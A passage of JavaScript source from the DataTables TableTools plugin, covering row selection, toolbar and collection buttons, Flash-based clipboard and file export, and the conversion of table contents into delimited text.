this.classes = $.extend( true, {}, TableTools.classes );
if ( this.s.dt.bJUI )
{
$.extend( true, this.classes, TableTools.classes_themeroller );
}
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Public class methods
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/**
* Retreieve the settings object from an instance
* @method fnSettings
* @returns {object} TableTools settings object
*/
this.fnSettings = function () {
return this.s;
};
/* Constructor logic */
if ( typeof oOpts == 'undefined' )
{
oOpts = {};
}
this._fnConstruct( oOpts );
return this;
};
TableTools.prototype = {
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Public methods
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/**
* Retreieve the settings object from an instance
* @returns {array} List of TR nodes which are currently selected
* @param {boolean} [filtered=false] Get only selected rows which are
* available given the filtering applied to the table. By default
* this is false - i.e. all rows, regardless of filtering are
selected.
*/
"fnGetSelected": function ( filtered )
{
var
out = [],
data = this.s.dt.aoData,
displayed = this.s.dt.aiDisplay,
i, iLen;
if ( filtered )
{
// Only consider filtered rows
for ( i=0, iLen=displayed.length ; i<iLen ; i++ )
{
if ( data[ displayed[i] ]._DTTT_selected )
{
out.push( data[ displayed[i] ].nTr );
}
}
}
else
{
// Use all rows
for ( i=0, iLen=data.length ; i<iLen ; i++ )
{
if ( data[i]._DTTT_selected )
{
out.push( data[i].nTr );
}
}
}
return out;
},
/**
* Get the data source objects/arrays from DataTables for the selected rows (same as
* fnGetSelected followed by fnGetData on each row from the table)
* @returns {array} Data from the TR nodes which are currently selected
*/
"fnGetSelectedData": function ()
{
var out = [];
var data=this.s.dt.aoData;
var i, iLen;
for ( i=0, iLen=data.length ; i<iLen ; i++ )
{
if ( data[i]._DTTT_selected )
{
out.push( this.s.dt.oInstance.fnGetData(i) );
}
}
return out;
},
/**
* Check to see if a current row is selected or not
* @param {Node} n TR node to check if it is currently selected or not
* @returns {Boolean} true if select, false otherwise
*/
"fnIsSelected": function ( n )
{
var pos = this.s.dt.oInstance.fnGetPosition( n );
return (this.s.dt.aoData[pos]._DTTT_selected===true) ? true : false;
},
/**
* Select all rows in the table
* @param {boolean} [filtered=false] Select only rows which are available
* given the filtering applied to the table. By default this is false -
* i.e. all rows, regardless of filtering are selected.
*/
"fnSelectAll": function ( filtered )
{
var s = this._fnGetMasterSettings();
this._fnRowSelect( (filtered === true) ?
s.dt.aiDisplay :
s.dt.aoData
);
},
/**
* Deselect all rows in the table
* @param {boolean} [filtered=false] Deselect only rows which are available
* given the filtering applied to the table. By default this is false -
* i.e. all rows, regardless of filtering are deselected.
*/
"fnSelectNone": function ( filtered )
{
var s = this._fnGetMasterSettings();
this._fnRowDeselect( this.fnGetSelected(filtered) );
},
/**
* Select row(s)
* @param {node|object|array} n The row(s) to select. Can be a single DOM
* TR node, an array of TR nodes or a jQuery object.
*/
"fnSelect": function ( n )
{
if ( this.s.select.type == "single" )
{
this.fnSelectNone();
this._fnRowSelect( n );
}
else if ( this.s.select.type == "multi" )
{
this._fnRowSelect( n );
}
},
/**
* Deselect row(s)
* @param {node|object|array} n The row(s) to deselect. Can be a single DOM
* TR node, an array of TR nodes or a jQuery object.
*/
"fnDeselect": function ( n )
{
this._fnRowDeselect( n );
},
/**
* Get the title of the document - useful for file names. The title is retrieved from either
* the configuration object's 'title' parameter, or the HTML document title
* @param {Object} oConfig Button configuration object
* @returns {String} Button title
*/
"fnGetTitle": function( oConfig )
{
var sTitle = "";
if ( typeof oConfig.sTitle != 'undefined' && oConfig.sTitle !== "" ) {
sTitle = oConfig.sTitle;
} else {
var anTitle = document.getElementsByTagName('title');
if ( anTitle.length > 0 )
{
sTitle = anTitle[0].innerHTML;
}
}
/* Strip characters which the OS will object to - checking for UTF8 support in the scripting
* engine
*/
if ( "\u00A1".toString().length < 4 ) {
return sTitle.replace(/[^a-zA-Z0-9_\u00A1-\uFFFF\.,\-_ !\(\)]/g, "");
} else {
return sTitle.replace(/[^a-zA-Z0-9_\.,\-_ !\(\)]/g, "");
}
},
/**
* Calculate a unity array with the column width by proportion for a set of columns to be
* included for a button. This is particularly useful for PDF creation, where we can use the
* column widths calculated by the browser to size the columns in the PDF.
* @param {Object} oConfig Button configuration object
* @returns {Array} Unity array of column ratios
*/
"fnCalcColRatios": function ( oConfig )
{
var
aoCols = this.s.dt.aoColumns,
aColumnsInc = this._fnColumnTargets( oConfig.mColumns ),
aColWidths = [],
iWidth = 0, iTotal = 0, i, iLen;
for ( i=0, iLen=aColumnsInc.length ; i<iLen ; i++ )
{
if ( aColumnsInc[i] )
{
iWidth = aoCols[i].nTh.offsetWidth;
iTotal += iWidth;
aColWidths.push( iWidth );
}
}
for ( i=0, iLen=aColWidths.length ; i<iLen ; i++ )
{
aColWidths[i] = aColWidths[i] / iTotal;
}
return aColWidths.join('\t');
},
/**
* Get the information contained in a table as a string
* @param {Object} oConfig Button configuration object
* @returns {String} Table data as a string
*/
"fnGetTableData": function ( oConfig )
{
/* In future this could be used to get data from a plain HTML source as well as DataTables */
if ( this.s.dt )
{
return this._fnGetDataTablesData( oConfig );
}
},
/**
* Pass text to a flash button instance, which will be used on the button's click handler
* @param {Object} clip Flash button object
* @param {String} text Text to set
*/
"fnSetText": function ( clip, text )
{
this._fnFlashSetText( clip, text );
},
/**
* Resize the flash elements of the buttons attached to this TableTools instance - this is
* useful for when initialising TableTools when it is hidden (display:none) since sizes can't
* be calculated at that time.
*/
"fnResizeButtons": function ()
{
for ( var cli in ZeroClipboard_TableTools.clients )
{
if ( cli )
{
var client = ZeroClipboard_TableTools.clients[cli];
if ( typeof client.domElement != 'undefined' &&
client.domElement.parentNode )
{
client.positionElement();
}
}
}
},
/**
* Check to see if any of the ZeroClipboard client's attached need to be resized
*/
"fnResizeRequired": function ()
{
for ( var cli in ZeroClipboard_TableTools.clients )
{
if ( cli )
{
var client = ZeroClipboard_TableTools.clients[cli];
if ( typeof client.domElement != 'undefined' &&
client.domElement.parentNode == this.dom.container &&
client.sized === false )
{
return true;
}
}
}
return false;
},
/**
* Programmatically enable or disable the print view
* @param {boolean} [bView=true] Show the print view if true or not given. If false, then
* terminate the print view and return to normal.
* @param {object} [oConfig={}] Configuration for the print view
* @param {boolean} [oConfig.bShowAll=false] Show all rows in the table if true
* @param {string} [oConfig.sInfo] Information message, displayed as an overlay to the
* user to let them know what the print view is.
* @param {string} [oConfig.sMessage] HTML string to show at the top of the document - will
* be included in the printed document.
*/
"fnPrint": function ( bView, oConfig )
{
if ( oConfig === undefined )
{
oConfig = {};
}
if ( bView === undefined || bView )
{
this._fnPrintStart( oConfig );
}
else
{
this._fnPrintEnd();
}
},
/**
* Show a message to the end user which is nicely styled
* @param {string} message The HTML string to show to the user
* @param {int} time The duration the message is to be shown on screen for (mS)
*/
"fnInfo": function ( message, time ) {
var nInfo = document.createElement( "div" );
nInfo.className = this.classes.print.info;
nInfo.innerHTML = message;
document.body.appendChild( nInfo );
setTimeout( function() {
$(nInfo).fadeOut( "normal", function() {
document.body.removeChild( nInfo );
} );
}, time );
},
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Private methods (they are of course public in JS, but recommended as private)
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/**
* Constructor logic
* @method _fnConstruct
* @param {Object} oOpts Same as TableTools constructor
* @returns void
* @private
*/
"_fnConstruct": function ( oOpts )
{
var that = this;
this._fnCustomiseSettings( oOpts );
/* Container element */
this.dom.container = document.createElement( this.s.tags.container );
this.dom.container.className = this.classes.container;
/* Row selection config */
if ( this.s.select.type != 'none' )
{
this._fnRowSelectConfig();
}
/* Buttons */
this._fnButtonDefinations( this.s.buttonSet, this.dom.container );
/* Destructor - need to wipe the DOM for IE's garbage collector */
this.s.dt.aoDestroyCallback.push( {
"sName": "TableTools",
"fn": function () {
that.dom.container.innerHTML = "";
}
} );
},
/**
* Take the user defined settings and the default settings and combine them.
* @method _fnCustomiseSettings
* @param {Object} oOpts Same as TableTools constructor
* @returns void
* @private
*/
"_fnCustomiseSettings": function ( oOpts )
{
/* Is this the master control instance or not? */
if ( typeof this.s.dt._TableToolsInit == 'undefined' )
{
this.s.master = true;
this.s.dt._TableToolsInit = true;
}
/* We can use the table node from comparisons to group controls */
this.dom.table = this.s.dt.nTable;
/* Clone the defaults and then the user options */
this.s.custom = $.extend( {}, TableTools.DEFAULTS, oOpts );
/* Flash file location */
this.s.swfPath = this.s.custom.sSwfPath;
if ( typeof ZeroClipboard_TableTools != 'undefined' )
{
ZeroClipboard_TableTools.moviePath = this.s.swfPath;
}
/* Table row selecting */
this.s.select.type = this.s.custom.sRowSelect;
this.s.select.preRowSelect = this.s.custom.fnPreRowSelect;
this.s.select.postSelected = this.s.custom.fnRowSelected;
this.s.select.postDeselected = this.s.custom.fnRowDeselected;
// Backwards compatibility - allow the user to specify a custom class in the initialiser
if ( this.s.custom.sSelectedClass )
{
this.classes.select.row = this.s.custom.sSelectedClass;
}
this.s.tags = this.s.custom.oTags;
/* Button set */
this.s.buttonSet = this.s.custom.aButtons;
},
/**
* Take the user input arrays and expand them to be fully defined, and then add them to a given
* DOM element
* @method _fnButtonDefinations
* @param {array} buttonSet Set of user defined buttons
* @param {node} wrapper Node to add the created buttons to
* @returns void
* @private
*/
"_fnButtonDefinations": function ( buttonSet, wrapper )
{
var buttonDef;
for ( var i=0, iLen=buttonSet.length ; i<iLen ; i++ )
{
if ( typeof buttonSet[i] == "string" )
{
if ( typeof TableTools.BUTTONS[ buttonSet[i] ] == 'undefined' )
{
alert( "TableTools: Warning - unknown button type: "+buttonSet[i] );
continue;
}
buttonDef = $.extend( {}, TableTools.BUTTONS[ buttonSet[i] ], true );
}
else
{
if ( typeof TableTools.BUTTONS[ buttonSet[i].sExtends ] == 'undefined' )
{
alert( "TableTools: Warning - unknown button type: "+buttonSet[i].sExtends );
continue;
}
var o = $.extend( {}, TableTools.BUTTONS[ buttonSet[i].sExtends ], true );
buttonDef = $.extend( o, buttonSet[i], true );
}
wrapper.appendChild( this._fnCreateButton(
buttonDef,
$(wrapper).hasClass(this.classes.collection.container)
) );
}
},
/**
* Create and configure a TableTools button
* @method _fnCreateButton
* @param {Object} oConfig Button configuration object
* @returns {Node} Button element
* @private
*/
"_fnCreateButton": function ( oConfig, bCollectionButton )
{
var nButton = this._fnButtonBase( oConfig, bCollectionButton );
if ( oConfig.sAction.match(/flash/) )
{
this._fnFlashConfig( nButton, oConfig );
}
else if ( oConfig.sAction == "text" )
{
this._fnTextConfig( nButton, oConfig );
}
else if ( oConfig.sAction == "div" )
{
this._fnTextConfig( nButton, oConfig );
}
else if ( oConfig.sAction == "collection" )
{
this._fnTextConfig( nButton, oConfig );
this._fnCollectionConfig( nButton, oConfig );
}
return nButton;
},
/**
* Create the DOM needed for the button and apply some base properties. All buttons start here
* @method _fnButtonBase
* @param {o} oConfig Button configuration object
* @returns {Node} DIV element for the button
* @private
*/
"_fnButtonBase": function ( o, bCollectionButton )
{
var sTag, sLiner, sClass;
if ( bCollectionButton )
{
sTag = o.sTag !== "default" ? o.sTag : this.s.tags.collection.button;
sLiner = o.sLinerTag !== "default" ? o.sLiner : this.s.tags.collection.liner;
sClass = this.classes.collection.buttons.normal;
}
else
{
sTag = o.sTag !== "default" ? o.sTag : this.s.tags.button;
sLiner = o.sLinerTag !== "default" ? o.sLiner : this.s.tags.liner;
sClass = this.classes.buttons.normal;
}
var
nButton = document.createElement( sTag ),
nSpan = document.createElement( sLiner ),
masterS = this._fnGetMasterSettings();
nButton.className = sClass+" "+o.sButtonClass;
nButton.setAttribute('id', "ToolTables_"+this.s.dt.sInstance+"_"+masterS.buttonCounter );
nButton.appendChild( nSpan );
nSpan.innerHTML = o.sButtonText;
masterS.buttonCounter++;
return nButton;
},
/**
* Get the settings object for the master instance. When more than one TableTools instance is
* assigned to a DataTable, only one of them can be the 'master' (for the select rows). As such,
* we will typically want to interact with that master for global properties.
* @method _fnGetMasterSettings
* @returns {Object} TableTools settings object
* @private
*/
"_fnGetMasterSettings": function ()
{
if ( this.s.master )
{
return this.s;
}
else
{
/* Look for the master which has the same DT as this one */
var instances = TableTools._aInstances;
for ( var i=0, iLen=instances.length ; i<iLen ; i++ )
{
if ( this.dom.table == instances[i].s.dt.nTable )
{
return instances[i].s;
}
}
}
},
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Button collection functions
*/
/**
* Create a collection button, when activated will present a drop down list of other buttons
* @param {Node} nButton Button to use for the collection activation
* @param {Object} oConfig Button configuration object
* @returns void
* @private
*/
"_fnCollectionConfig": function ( nButton, oConfig )
{
var nHidden = document.createElement( this.s.tags.collection.container );
nHidden.style.display = "none";
nHidden.className = this.classes.collection.container;
oConfig._collection = nHidden;
document.body.appendChild( nHidden );
this._fnButtonDefinations( oConfig.aButtons, nHidden );
},
/**
* Show a button collection
* @param {Node} nButton Button to use for the collection
* @param {Object} oConfig Button configuration object
* @returns void
* @private
*/
"_fnCollectionShow": function ( nButton, oConfig )
{
var
that = this,
oPos = $(nButton).offset(),
nHidden = oConfig._collection,
iDivX = oPos.left,
iDivY = oPos.top + $(nButton).outerHeight(),
iWinHeight = $(window).height(), iDocHeight = $(document).height(),
iWinWidth = $(window).width(), iDocWidth = $(document).width();
nHidden.style.position = "absolute";
nHidden.style.left = iDivX+"px";
nHidden.style.top = iDivY+"px";
nHidden.style.display = "block";
$(nHidden).css('opacity',0);
var nBackground = document.createElement('div');
nBackground.style.position = "absolute";
nBackground.style.left = "0px";
nBackground.style.top = "0px";
nBackground.style.height = ((iWinHeight>iDocHeight)? iWinHeight : iDocHeight) +"px";
nBackground.style.width = ((iWinWidth>iDocWidth)? iWinWidth : iDocWidth) +"px";
nBackground.className = this.classes.collection.background;
$(nBackground).css('opacity',0);
document.body.appendChild( nBackground );
document.body.appendChild( nHidden );
/* Visual corrections to try and keep the collection visible */
var iDivWidth = $(nHidden).outerWidth();
var iDivHeight = $(nHidden).outerHeight();
if ( iDivX + iDivWidth > iDocWidth )
{
nHidden.style.left = (iDocWidth-iDivWidth)+"px";
}
if ( iDivY + iDivHeight > iDocHeight )
{
nHidden.style.top = (iDivY-iDivHeight-$(nButton).outerHeight())+"px";
}
this.dom.collection.collection = nHidden;
this.dom.collection.background = nBackground;
/* This results in a very small delay for the end user but it allows the animation to be
* much smoother. If you don't want the animation, then the setTimeout can be removed
*/
setTimeout( function () {
$(nHidden).animate({"opacity": 1}, 500);
$(nBackground).animate({"opacity": 0.25}, 500);
}, 10 );
/* Resize the buttons to the Flash contents fit */
this.fnResizeButtons();
/* Event handler to remove the collection display */
$(nBackground).click( function () {
that._fnCollectionHide.call( that, null, null );
} );
},
/**
* Hide a button collection
* @param {Node} nButton Button to use for the collection
* @param {Object} oConfig Button configuration object
* @returns void
* @private
*/
"_fnCollectionHide": function ( nButton, oConfig )
{
if ( oConfig !== null && oConfig.sExtends == 'collection' )
{
return;
}
if ( this.dom.collection.collection !== null )
{
$(this.dom.collection.collection).animate({"opacity": 0}, 500, function (e) {
this.style.display = "none";
} );
$(this.dom.collection.background).animate({"opacity": 0}, 500, function (e) {
this.parentNode.removeChild( this );
} );
this.dom.collection.collection = null;
this.dom.collection.background = null;
}
},
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Row selection functions
*/
/**
* Add event handlers to a table to allow for row selection
* @method _fnRowSelectConfig
* @returns void
* @private
*/
"_fnRowSelectConfig": function ()
{
if ( this.s.master )
{
var
that = this,
i, iLen,
dt = this.s.dt,
aoOpenRows = this.s.dt.aoOpenRows;
$(dt.nTable).addClass( this.classes.select.table );
$('tr', dt.nTBody).live( 'click', function(e) {
/* Sub-table must be ignored (odd that the selector won't do this with >) */
if ( this.parentNode != dt.nTBody )
{
return;
}
/* Check that we are actually working with a DataTables controlled row */
if ( dt.oInstance.fnGetData(this) === null )
{
return;
}
if ( that.fnIsSelected( this ) )
{
that._fnRowDeselect( this, e );
}
else if ( that.s.select.type == "single" )
{
that.fnSelectNone();
that._fnRowSelect( this, e );
}
else if ( that.s.select.type == "multi" )
{
that._fnRowSelect( this, e );
}
} );
// Bind a listener to the DataTable for when new rows are created.
// This allows rows to be visually selected when they should be and
// deferred rendering is used.
dt.oApi._fnCallbackReg( dt, 'aoRowCreatedCallback', function (tr, data, index) {
if ( dt.aoData[index]._DTTT_selected ) {
$(tr).addClass( that.classes.select.row );
}
}, 'TableTools-SelectAll' );
}
},
/**
* Select rows
* @param {*} src Rows to select - see _fnSelectData for a description of valid inputs
* @private
*/
"_fnRowSelect": function ( src, e )
{
var
that = this,
data = this._fnSelectData( src ),
firstTr = data.length===0 ? null : data[0].nTr,
anSelected = [],
i, len;
// Get all the rows that will be selected
for ( i=0, len=data.length ; i<len ; i++ )
{
if ( data[i].nTr )
{
anSelected.push( data[i].nTr );
}
}
// User defined pre-selection function
if ( this.s.select.preRowSelect !== null && !this.s.select.preRowSelect.call(this, e, anSelected, true) )
{
return;
}
// Mark them as selected
for ( i=0, len=data.length ; i<len ; i++ )
{
data[i]._DTTT_selected = true;
if ( data[i].nTr )
{
$(data[i].nTr).addClass( that.classes.select.row );
}
}
// Post-selection function
if ( this.s.select.postSelected !== null )
{
this.s.select.postSelected.call( this, anSelected );
}
TableTools._fnEventDispatch( this, 'select', anSelected, true );
},
/**
* Deselect rows
* @param {*} src Rows to deselect - see _fnSelectData for a description of valid inputs
* @private
*/
"_fnRowDeselect": function ( src, e )
{
var
that = this,
data = this._fnSelectData( src ),
firstTr = data.length===0 ? null : data[0].nTr,
anDeselectedTrs = [],
i, len;
// Get all the rows that will be deselected
for ( i=0, len=data.length ; i<len ; i++ )
{
if ( data[i].nTr )
{
anDeselectedTrs.push( data[i].nTr );
}
}
// User defined pre-selection function
if ( this.s.select.preRowSelect !== null && !this.s.select.preRowSelect.call(this, e, anDeselectedTrs, false) )
{
return;
}
// Mark them as deselected
for ( i=0, len=data.length ; i<len ; i++ )
{
data[i]._DTTT_selected = false;
if ( data[i].nTr )
{
$(data[i].nTr).removeClass( that.classes.select.row );
}
}
// Post-deselection function
if ( this.s.select.postDeselected !== null )
{
this.s.select.postDeselected.call( this, anDeselectedTrs );
}
TableTools._fnEventDispatch( this, 'select', anDeselectedTrs, false );
},
/**
* Take a data source for row selection and convert it into aoData points for the DT
* @param {*} src Can be a single DOM TR node, an array of TR nodes (including a
* a jQuery object), a single aoData point from DataTables, an array of aoData
* points or an array of aoData indexes
* @returns {array} An array of aoData points
*/
"_fnSelectData": function ( src )
{
var out = [], pos, i, iLen;
if ( src.nodeName )
{
// Single node
pos = this.s.dt.oInstance.fnGetPosition( src );
out.push( this.s.dt.aoData[pos] );
}
else if ( typeof src.length !== 'undefined' )
{
// jQuery object or an array of nodes, or aoData points
for ( i=0, iLen=src.length ; i<iLen ; i++ )
{
if ( src[i].nodeName )
{
pos = this.s.dt.oInstance.fnGetPosition( src[i] );
out.push( this.s.dt.aoData[pos] );
}
else if ( typeof src[i] === 'number' )
{
out.push( this.s.dt.aoData[ src[i] ] );
}
else
{
out.push( src[i] );
}
}
return out;
}
else
{
// A single aoData point
out.push( src );
}
return out;
},
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Text button functions
*/
/**
* Configure a text based button for interaction events
* @method _fnTextConfig
* @param {Node} nButton Button element which is being considered
* @param {Object} oConfig Button configuration object
* @returns void
* @private
*/
"_fnTextConfig": function ( nButton, oConfig )
{
var that = this;
if ( oConfig.fnInit !== null )
{
oConfig.fnInit.call( this, nButton, oConfig );
}
if ( oConfig.sToolTip !== "" )
{
nButton.title = oConfig.sToolTip;
}
$(nButton).hover( function () {
if ( oConfig.fnMouseover !== null )
{
oConfig.fnMouseover.call( this, nButton, oConfig, null );
}
}, function () {
if ( oConfig.fnMouseout !== null )
{
oConfig.fnMouseout.call( this, nButton, oConfig, null );
}
} );
if ( oConfig.fnSelect !== null )
{
TableTools._fnEventListen( this, 'select', function (n) {
oConfig.fnSelect.call( that, nButton, oConfig, n );
} );
}
$(nButton).click( function (e) {
//e.preventDefault();
if ( oConfig.fnClick !== null )
{
oConfig.fnClick.call( that, nButton, oConfig, null );
}
/* Provide a complete function to match the behaviour of the flash elements */
if ( oConfig.fnComplete !== null )
{
oConfig.fnComplete.call( that, nButton, oConfig, null, null );
}
that._fnCollectionHide( nButton, oConfig );
} );
},
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Flash button functions
*/
/**
* Configure a flash based button for interaction events
* @method _fnFlashConfig
* @param {Node} nButton Button element which is being considered
* @param {o} oConfig Button configuration object
* @returns void
* @private
*/
"_fnFlashConfig": function ( nButton, oConfig )
{
var that = this;
var flash = new ZeroClipboard_TableTools.Client();
if ( oConfig.fnInit !== null )
{
oConfig.fnInit.call( this, nButton, oConfig );
}
flash.setHandCursor( true );
if ( oConfig.sAction == "flash_save" )
{
flash.setAction( 'save' );
flash.setCharSet( (oConfig.sCharSet=="utf16le") ? 'UTF16LE' : 'UTF8' );
flash.setBomInc( oConfig.bBomInc );
flash.setFileName( oConfig.sFileName.replace('*', this.fnGetTitle(oConfig)) );
}
else if ( oConfig.sAction == "flash_pdf" )
{
flash.setAction( 'pdf' );
flash.setFileName( oConfig.sFileName.replace('*', this.fnGetTitle(oConfig)) );
}
else
{
flash.setAction( 'copy' );
}
flash.addEventListener('mouseOver', function(client) {
if ( oConfig.fnMouseover !== null )
{
oConfig.fnMouseover.call( that, nButton, oConfig, flash );
}
} );
flash.addEventListener('mouseOut', function(client) {
if ( oConfig.fnMouseout !== null )
{
oConfig.fnMouseout.call( that, nButton, oConfig, flash );
}
} );
flash.addEventListener('mouseDown', function(client) {
if ( oConfig.fnClick !== null )
{
oConfig.fnClick.call( that, nButton, oConfig, flash );
}
} );
flash.addEventListener('complete', function (client, text) {
if ( oConfig.fnComplete !== null )
{
oConfig.fnComplete.call( that, nButton, oConfig, flash, text );
}
that._fnCollectionHide( nButton, oConfig );
} );
this._fnFlashGlue( flash, nButton, oConfig.sToolTip );
},
/**
* Wait until the id is in the DOM before we "glue" the swf. Note that this function will call
* itself (using setTimeout) until it completes successfully
* @method _fnFlashGlue
* @param {Object} clip Zero clipboard object
* @param {Node} node node to glue swf to
* @param {String} text title of the flash movie
* @returns void
* @private
*/
"_fnFlashGlue": function ( flash, node, text )
{
var that = this;
var id = node.getAttribute('id');
if ( document.getElementById(id) )
{
flash.glue( node, text );
}
else
{
setTimeout( function () {
that._fnFlashGlue( flash, node, text );
}, 100 );
}
},
/**
* Set the text for the flash clip to deal with
*
* This function is required for large information sets. There is a limit on the
* amount of data that can be transferred between Javascript and Flash in a single call, so
* we use this method to build up the text in Flash by sending over chunks. It is estimated
* that the data limit is around 64k, although it is undocumented, and appears to be different
* between different flash versions. We chunk at 8KiB.
* @method _fnFlashSetText
* @param {Object} clip the ZeroClipboard object
* @param {String} sData the data to be set
* @returns void
* @private
*/
"_fnFlashSetText": function ( clip, sData )
{
var asData = this._fnChunkData( sData, 8192 );
clip.clearText();
for ( var i=0, iLen=asData.length ; i<iLen ; i++ )
{
clip.appendText( asData[i] );
}
},
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Data retrieval functions
*/
/**
* Convert the mixed columns variable into a boolean array the same size as the columns, which
* indicates which columns we want to include
* @method _fnColumnTargets
* @param {String|Array} mColumns The columns to be included in data retrieval. If a string
* then it can take the value of "visible" or "hidden" (to include all visible or
* hidden columns respectively). Or an array of column indexes
* @returns {Array} A boolean array the length of the columns of the table, which each value
* indicating if the column is to be included or not
* @private
*/
"_fnColumnTargets": function ( mColumns )
{
var aColumns = [];
var dt = this.s.dt;
if ( typeof mColumns == "object" )
{
for ( i=0, iLen=dt.aoColumns.length ; i<iLen ; i++ )
{
aColumns.push( false );
}
for ( i=0, iLen=mColumns.length ; i<iLen ; i++ )
{
aColumns[ mColumns[i] ] = true;
}
}
else if ( mColumns == "visible" )
{
for ( i=0, iLen=dt.aoColumns.length ; i<iLen ; i++ )
{
aColumns.push( dt.aoColumns[i].bVisible ? true : false );
}
}
else if ( mColumns == "hidden" )
{
for ( i=0, iLen=dt.aoColumns.length ; i<iLen ; i++ )
{
aColumns.push( dt.aoColumns[i].bVisible ? false : true );
}
}
else if ( mColumns == "sortable" )
{
for ( i=0, iLen=dt.aoColumns.length ; i<iLen ; i++ )
{
aColumns.push( dt.aoColumns[i].bSortable ? true : false );
}
}
else /* all */
{
for ( i=0, iLen=dt.aoColumns.length ; i<iLen ; i++ )
{
aColumns.push( true );
}
}
return aColumns;
},
/**
* New line character(s) depend on the platforms
* @method method
* @param {Object} oConfig Button configuration object - only interested in oConfig.sNewLine
* @returns {String} Newline character
*/
"_fnNewline": function ( oConfig )
{
if ( oConfig.sNewLine == "auto" )
{
return navigator.userAgent.match(/Windows/) ? "\r\n" : "\n";
}
else
{
return oConfig.sNewLine;
}
},
/**
* Get data from DataTables' internals and format it for output
* @method _fnGetDataTablesData
* @param {Object} oConfig Button configuration object
* @param {String} oConfig.sFieldBoundary Field boundary for the data cells in the string
* @param {String} oConfig.sFieldSeperator Field separator for the data cells
* @param {String} oConfig.sNewline New line options
* @param {Mixed} oConfig.mColumns Which columns should be included in the output
* @param {Boolean} oConfig.bHeader Include the header
* @param {Boolean} oConfig.bFooter Include the footer
* @param {Boolean} oConfig.bSelectedOnly Include only the selected rows in the output
* @returns {String} Concatenated string of data
* @private
*/
"_fnGetDataTablesData": function ( oConfig )
{
var i, iLen, j, jLen;
var aRow, aData=[], sLoopData='', arr;
var dt = this.s.dt, tr, child;
var regex = new RegExp(oConfig.sFieldBoundary, "g"); /* Do it here for speed */
var aColumnsInc = this._fnColumnTargets( oConfig.mColumns );
var bSelectedOnly = (typeof oConfig.bSelectedOnly != 'undefined') ? oConfig.bSelectedOnly : false;
/*
* Header
*/
if ( oConfig.bHeader )
{
aRow = [];
for ( i=0, iLen=dt.aoColumns.length ; i<iLen ; i++ )
{
if ( aColumnsInc[i] )
{
sLoopData = dt.aoColumns[i].sTitle.replace(/\n/g," ").replace( /<.*?>/g, "" ).replace(/^\s+|\s+$/g,"");
sLoopData = this._fnHtmlDecode( sLoopData );
aRow.push( this._fnBoundData( sLoopData, oConfig.sFieldBoundary, regex ) );
}
}
aData.push( aRow.join(oConfig.sFieldSeperator) );
}
/*
* Body
*/
var aDataIndex = dt.aiDisplay;
var aSelected = this.fnGetSelected();
if ( this.s.select.type !== "none" && bSelectedOnly && aSelected.length !== 0 )
{
aDataIndex = [];
for ( i=0, iLen=aSelected.length ; i<iLen ; i++ )
{
aDataIndex.push( dt.oInstance.fnGetPosition( aSelected[i] ) );
}
}
for ( j=0, jLen=aDataIndex.length ; j<jLen ; j++ )
{
tr = dt.aoData[ aDataIndex[j] ].nTr;
aRow = [];
/* Columns */
for ( i=0, iLen=dt.aoColumns.length ; i<iLen ; i++ )
{
if ( aColumnsInc[i] )
{
/* Convert to strings (with small optimisation) */
var mTypeData = dt.oApi._fnGetCellData( dt, aDataIndex[j], i, 'display' );
if ( oConfig.fnCellRender )
{
sLoopData = oConfig.fnCellRender( mTypeData, i, tr, aDataIndex[j] )+"";
}
else if ( typeof mTypeData == "string" )
{
/* Strip newlines, replace img tags with alt attr. and finally strip html... */
sLoopData = mTypeData.replace(/\n/g," ");
sLoopData =
sLoopData.replace(/<img.*?\s+alt\s*=\s*(?:"([^"]+)"|'([^']+)'|([^\s>]+)).*?>/gi,
'$1$2$3');
sLoopData = sLoopData.replace( /<.*?>/g, "" );
}
else
{
sLoopData = mTypeData+"";
}
/* Trim and clean the data */
sLoopData = sLoopData.replace(/^\s+/, '').replace(/\s+$/, '');
sLoopData = this._fnHtmlDecode( sLoopData );
/* Bound it and add it to the total data */
aRow.push( this._fnBoundData( sLoopData, oConfig.sFieldBoundary, regex ) );
}
}
aData.push( aRow.join(oConfig.sFieldSeperator) );
/* Details rows from fnOpen */
if ( oConfig.bOpenRows )
{
arr = $.grep(dt.aoOpenRows, function(o) { return o.nParent === tr; });
if ( arr.length === 1 )
{
sLoopData = this._fnBoundData( $('td', arr[0].nTr).html(), oConfig.sFieldBoundary, regex );
aData.push( sLoopData );
}
}
}
/*
* Footer
*/
if ( oConfig.bFooter && dt.nTFoot !== null )
{
aRow = [];
for ( i=0, iLen=dt.aoColumns.length ; i<iLen ; i++ )
{
if ( aColumnsInc[i] && dt.aoColumns[i].nTf !== null )
{
sLoopData = dt.aoColumns[i].nTf.innerHTML.replace(/\n/g," ").replace( /<.*?>/g, "" );
sLoopData = this._fnHtmlDecode( sLoopData );
aRow.push( this._fnBoundData( sLoopData, oConfig.sFieldBoundary, regex ) );
}
}
aData.push( aRow.join(oConfig.sFieldSeperator) );
}
_sLastData = aData.join( this._fnNewline(oConfig) );
return _sLastData;
},
/**
* Wrap data up with a boundary string
* @method _fnBoundData
* @param {String} sData data to bound
* @param {String} sBoundary bounding char(s)
* @param {RegExp} regex search for the bounding chars - constructed outside for efficiency
* in the loop
* @returns {String} bound data
* @private
*/
"_fnBoundData": function ( sData, sBoundary, regex )
{
if ( sBoundary === "" )
{
return sData;
}
else
{
return sBoundary + sData.replace(regex, sBoundary+sBoundary) + sBoundary;
}
},
/**
* Break a string up into an array of smaller strings
* @method _fnChunkData
* @param {String} sData data to be broken up
* @param {Int} iSize chunk size
* @returns {Array} String array of broken up text
* @private
*/
"_fnChunkData": function ( sData, iSize )
{
